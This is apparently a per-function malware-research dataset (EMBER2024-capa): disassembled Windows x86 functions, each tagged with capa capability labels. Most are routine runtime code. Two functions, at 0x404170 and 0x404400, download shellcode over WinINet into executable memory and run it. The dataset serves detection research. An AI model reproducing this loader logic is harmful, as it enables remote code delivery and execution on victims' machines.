joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c450
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1b
mov ebp, esp
push edi
push esi
push ebx
lea edi, [ebp - 0x84]
mov esi, str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_http:__gcc.gnu.org_bugs.html_:_n
sub esp, 0x9c
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
lea eax, [edx + 1]
mov dword [ebp - 0x8c], eax
lea eax, [edx + 0x8a]
and eax, 0xfffffff0
call fcn.0040ba00
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x84]
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
movzx eax, word [esi]
mov word [edi], ax
movzx eax, byte [esi + 2]
mov byte [edi + 2], al
lea eax, [ebx + 0x6b]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x8c]
mov byte [ebx + eax + 0x6a], 0
mov dword [esp], ebx
call fcn.00488170
nop
nop
nop
nop
nop
nop
nop
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x495104], 0
jne 0x41c524
mov byte [0x495104], 1
call fcn.0048e2a0
test eax, eax
je 0x41c5be
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x1c], 0xffffffff
sete al
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call fcn.0040ad00
mov esi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov ebp, eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea edi, [esi + 0x40]
mov dword [esp + 0xc], edi
call sub.msvcrt.dll_fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], edi
je 0x41c51a
mov dword [esp], ebx
call sub.msvcrt.dll_fputs
lea eax, [esi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x49613d
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
cmp dword [esp + 0x1c], 0
je 0x41c551
call fcn.0048e6a0
mov dword [esp], ebp
call sub.msvcrt.dll_fputs
jmp 0x41c4eb
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
mov dword [esp], ebp
call fcn.0041a988
jmp 0x41c515
call sub.msvcrt.dll_abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
jmp 0x41c5b9
Function at 0x404170
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427cc2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x428
and dword [ebp - 0x10], 0
push 0
push 0
push 0
push 0
push str.DownloadShellcode
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4041f7
push 0x4024da
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpen_failed:
push 0x436168
call fcn.004011da
pop ecx
pop ecx
mov ecx, eax
call fcn.004039e3
mov ecx, eax
call fcn.00403b34
push 0x42927a
mov ecx, dword [ebp + 8]
call fcn.004029df
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
jmp 0x4042e9
push 0
push SysReAllocString
push 0
push 0
mov ecx, dword [ebp + 0xc]
call fcn.00405ffa
push eax
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40426c
push 0x4024da
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpenUrl_failed:
push 0x436168
call fcn.004011da
pop ecx
pop ecx
mov ecx, eax
call fcn.004039e3
mov ecx, eax
call fcn.00403b34
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x42927b
mov ecx, dword [ebp + 8]
call fcn.004029df
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
jmp 0x4042e9
lea ecx, [ebp - 0x34]
call fcn.00402a8b
and dword [ebp - 4], 0
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push 0x400
lea eax, [ebp - 0x434]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4042b3
cmp dword [ebp - 0x18], 0
jbe 0x4042b3
push dword [ebp - 0x18]
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x34]
call fcn.00405e33
jmp 0x40427c
push dword [ebp - 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
call fcn.004028e7
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.004034e6
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret

Function at 0x404400
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x40
push 0x1000
mov ecx, dword [ebp + 8]
call fcn.00407193
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404455
mov ecx, dword [ebp + 8]
call fcn.00407193
push eax
mov ecx, dword [ebp + 8]
call fcn.00405fe9
push eax
push dword [ebp - 4]
call fcn.0040ae50
add esp, 0xc
call dword [ebp - 4]
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
leave
ret
Function at 0x40961c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40963d
jl 0x409634
test edi, edi
jne 0x40963d
xor eax, eax
xor edx, edx
jmp 0x4096fe
cmp dword [ebx + 0x38], 0
je 0x409652
push eax
push edi
push dword [ebp + 8]
call fcn.00409704
jmp 0x4096fe
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x409699
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x409699
cmp eax, edi
jb 0x409673
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040ae50
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40969f
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4096f3
mov ecx, ebx
call fcn.00408e6c
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4096de
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00414559
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4096f3
jmp 0x4096b1
test edx, edx
je 0x4096f3
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00414559
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40aaaa
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40aae9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40aae9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40aae9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40aae9
cmp dword [ecx + 0x74], 0xe
jbe 0x40aae9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41b5a0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42dba0
push 0x42db98
push str.FlsAlloc
push 0x1f
call fcn.0041b40b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b5d4
push dword [ebp + 8]
mov ecx, esi
call dword [0x42919c]
call esi
jmp 0x41b5da
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41b61e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42dbb0
push 0x42dba8
push str.FlsGetValue
push 0x21
call fcn.0041b40b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b655
push dword [ebp + 8]
mov ecx, esi
call dword [0x42919c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x41b65d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42dbb8
push 0x42dbb0
push str.FlsSetValue
push 0x22
call fcn.0041b40b
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b697
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42919c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41daa0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040ae00
mov eax, dword [0x435040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041ae11
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41dae2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41dc3e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004275c0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x436a10]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041ea9e
mov ecx, dword [esi*4 + 0x436a10]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41dc37
cmp eax, dword [ecx + edi + 0x24]
jne 0x41dc37
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41dc37
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ea9e
add esp, 0x14
test edx, edx
jl 0x41dc37
jg 0x41dbad
test eax, eax
jb 0x41dc37
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41dc37
jl 0x41dbc7
cmp dword [ebp - 0x1008], eax
ja 0x41dc37
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41dbe5
test ebx, ebx
je 0x41dc1e
cmp ecx, edi
jae 0x41dc1e
mov al, byte [ecx]
cmp al, 0xd
jne 0x41dbff
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41dc0b
cmp byte [ecx + 1], 0xa
jne 0x41dc0b
inc ecx
jmp 0x41dc0b
movzx eax, al
movsx eax, byte [eax + 0x435308]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41dbe5
cmp edx, ebx
jne 0x41dbe5
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41dc3c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040a4ed
leave
ret
Function at 0x41df36
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x436a10]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41df76
cmp byte [ebx], 0xa
jne 0x41df76
or byte [edi + eax + 0x28], 4
jmp 0x41df7b
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41e07a
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41e05d
inc eax
cmp dl, 0xd
je 0x41dfa7
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41dfcd
cmp eax, ecx
jae 0x41dfdb
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41df8f
jmp 0x41e07a
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e058
cmp dword [ebp - 0x10], 0
je 0x41e058
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x436a10]
test byte [eax + edi + 0x28], 0x48
je 0x41e032
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41e01d
mov byte [esi], dl
jmp 0x41e02e
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x436a10]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41e07a
cmp byte [ebp - 1], 0xa
jne 0x41e041
cmp esi, ebx
jne 0x41e041
mov byte [esi], 0xa
jmp 0x41e079
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041eabc
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41e07a
mov byte [esi], 0xd
jmp 0x41e079
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x436a10]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41e077
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41e07a
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41e083
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x436a10]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41e0c9
cmp word [ebx], dx
jne 0x41e0c9
or byte [eax + edi + 0x28], 4
jmp 0x41e0ce
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41e231
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41e211
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41e10f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41e145
cmp eax, edx
jae 0x41e153
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41e0ea
jmp 0x41e231
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e20c
cmp dword [ebp - 0x18], 0
je 0x41e20c
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x436a10]
test byte [eax + edi + 0x28], 0x48
je 0x41e1e2
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41e1a6
mov word [esi], cx
jmp 0x41e1dd
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x436a10]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x436a10]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x436a10]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41e231
pop eax
cmp word [ebp - 4], ax
jne 0x41e1f2
cmp esi, ebx
jne 0x41e1f2
mov word [esi], ax
jmp 0x41e22e
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041eabc
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41e231
push 0xd
pop eax
jmp 0x41e1ed
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x436a10]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41e22b
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41e231
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x420209
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4202a6
push ebx
push esi
call fcn.004201d2
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041f0b0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x420253
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4202a5
push edi
push eax
call fcn.00419054
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x420273
call fcn.0041901a
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4202a4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041f0b0
add esp, 0x20
test eax, eax
jne 0x420292
push edi
call fcn.0041901a
jmp 0x42029a
push ebx
call fcn.0041901a
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4228d3
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00418b40
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x422942
cmp esi, dword [ebp - 4]
je 0x42293d
cmp dword [ebp + 0xc], 0
je 0x42293d
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x42291a
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00422425
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x422944
xor eax, eax
inc eax
jmp 0x422944
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4229a9
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x435040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00418b40
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00418b40
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x422a20
cmp word [ecx], dx
je 0x422a20
mov eax, dword [0x42e01c]
push edi
dec eax
push eax
push 0x42df08
call fcn.00422948
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x422a93
cmp word [eax], dx
je 0x422a93
mov eax, dword [edi]
test eax, eax
je 0x422a44
cmp word [eax], dx
je 0x422a44
lea eax, [ebp - 0x10]
push eax
call fcn.0042232b
jmp 0x422a4d
lea eax, [ebp - 0x10]
push eax
call fcn.004223c6
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x422abd
mov eax, dword [0x42df04]
push dword [ebp - 0x14]
dec eax
push eax
push 0x42dbf8
call fcn.00422948
add esp, 0xc
test al, al
je 0x422abd
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x422a88
cmp word [eax], di
je 0x422a88
lea eax, [ebp - 0x10]
push eax
call fcn.0042232b
pop ecx
jmp 0x422abf
lea eax, [ebp - 0x10]
push eax
call fcn.004223c6
jmp 0x422a85
mov eax, dword [edi]
test eax, eax
je 0x422aaa
cmp word [eax], dx
je 0x422aaa
lea eax, [ebp - 0x10]
push eax
call fcn.004222e0
pop ecx
jmp 0x422abd
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x422b88
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004227cd
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x422b88
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x422b88
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x422b88
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x422b15
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0041b79d
test ebx, ebx
je 0x422b83
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0041b79d
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x422b88
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x422b88
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00425807
add esp, 0x10
xor eax, eax
inc eax
jmp 0x422b8a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a4ed
leave
ret
Function at 0x401377
Capabilities:
Create thread
Terminate thread

Disassembly:
push 0x1c
mov eax, 0x46aa60
call fcn.00463f70
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [0x4872ec]
mov ecx, 0x4872ec
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp + 8]
lea edi, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.00401470
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x18], esi
jne 0x4013e6
lea eax, [ebp - 0x14]
push eax
push esi
mov eax, edi
push eax
push 0x40119f
push esi
push esi
mov dword [ebp - 0x10], esi
call fcn.00447920
add esp, 0x18
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
je 0x401456
push 0xa
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x401436
call fcn.004012ee
test al, al
je 0x40140e
push dword [ebp + 0x14]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4013e1
push esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
call fcn.004017b8
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004017b8
xor al, al
call fcn.0046400f
ret
cmp eax, esi
jne 0x401450
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
call fcn.004017b8
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004017b8
mov al, 1
jmp 0x401430

Function at 0x402081
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402098
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x4020cd
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x4020c9
cmp edi, eax
jae 0x4020cd
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x4020bb
cmp edi, eax
jb 0x4020d1
xor eax, eax
jmp 0x4020da
movzx eax, word [edi]
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret